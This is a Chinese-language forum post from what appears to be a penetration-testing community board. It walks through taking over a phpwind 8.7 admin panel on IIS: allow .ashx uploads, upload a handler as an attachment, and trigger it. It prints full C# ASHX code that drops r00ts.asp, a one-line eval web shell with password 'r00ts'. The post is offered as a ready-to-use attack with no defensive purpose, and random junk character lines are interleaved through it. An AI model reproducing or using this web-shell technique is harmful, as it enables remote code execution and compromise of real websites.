中国网络渗透测试联盟
标题:
phpwind 8.7 后台拿shell
[打印本页]
作者:
admin
时间:
2013-7-26 12:41
标题:
phpwind 8.7 后台拿shell
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
: l, [7 r9 M9 q/ \ c
; }, y- D, B# k" d8 m. E& T
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
3 e* B. W+ N* }# @8 c# l$ `# Z, ?
, z" }) O$ Y$ x4 w2 G0 w
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
5 @" u: }1 I' V
( M$ P4 s1 ^: H
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
( g) n/ m! j0 I) Y1 K, }; Y
5 g" `) y& Q( ]+ [
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
, r2 S+ F4 d$ b+ w' V
) z) i2 D0 ?9 D. `# @& m: B- v2 r
下面是代码:
2 Z, L1 }" {- c7 m1 i5 j
" D0 l L; k1 c, V6 p* }
<%@ WebHandler Language="C#"Class="Handler" %>
! {* b# ^# _' r5 L, H3 Q6 U" f
using System;
) i3 |+ n; L! ^: t: K/ S' ~$ I0 ]
using System.Web;
9 M; l. k3 a5 Y
using System.IO;
, o. D( K9 u* O% e% L
public class Handler : IHttpHandler {
* ~, u- @& [; v6 w
public void ProcessRequest (HttpContext context) {
h$ ?: I! r; B% v5 {' ~1 ]
context.Response.ContentType = "text/plain";
% E- O- a6 s1 K" w% M
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
8 y. E4 N+ N6 h' k4 m m! j, e0 Z
file1.Write("<%eval request(\"r00ts\")%>");
, i/ [8 O i7 {' C2 s* J* P
file1.Flush();
: I% D2 E' j/ H S. ^' O! H
file1.Close();
& V9 f7 C& h, l5 [
}
$ {4 B3 F+ q" Q1 W% i
public bool IsReusable {
3 [) B, @/ S" r- X
get {
7 a% z$ I* ?" q: o6 U) m$ l
return false;
% |4 v8 `, x+ L" c! v& h, {+ g
}
: c# j' K- L5 i5 W- e9 B
}
; H7 c. c: A- x
}
4 X1 H0 I/ M% ?# _" u, C
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2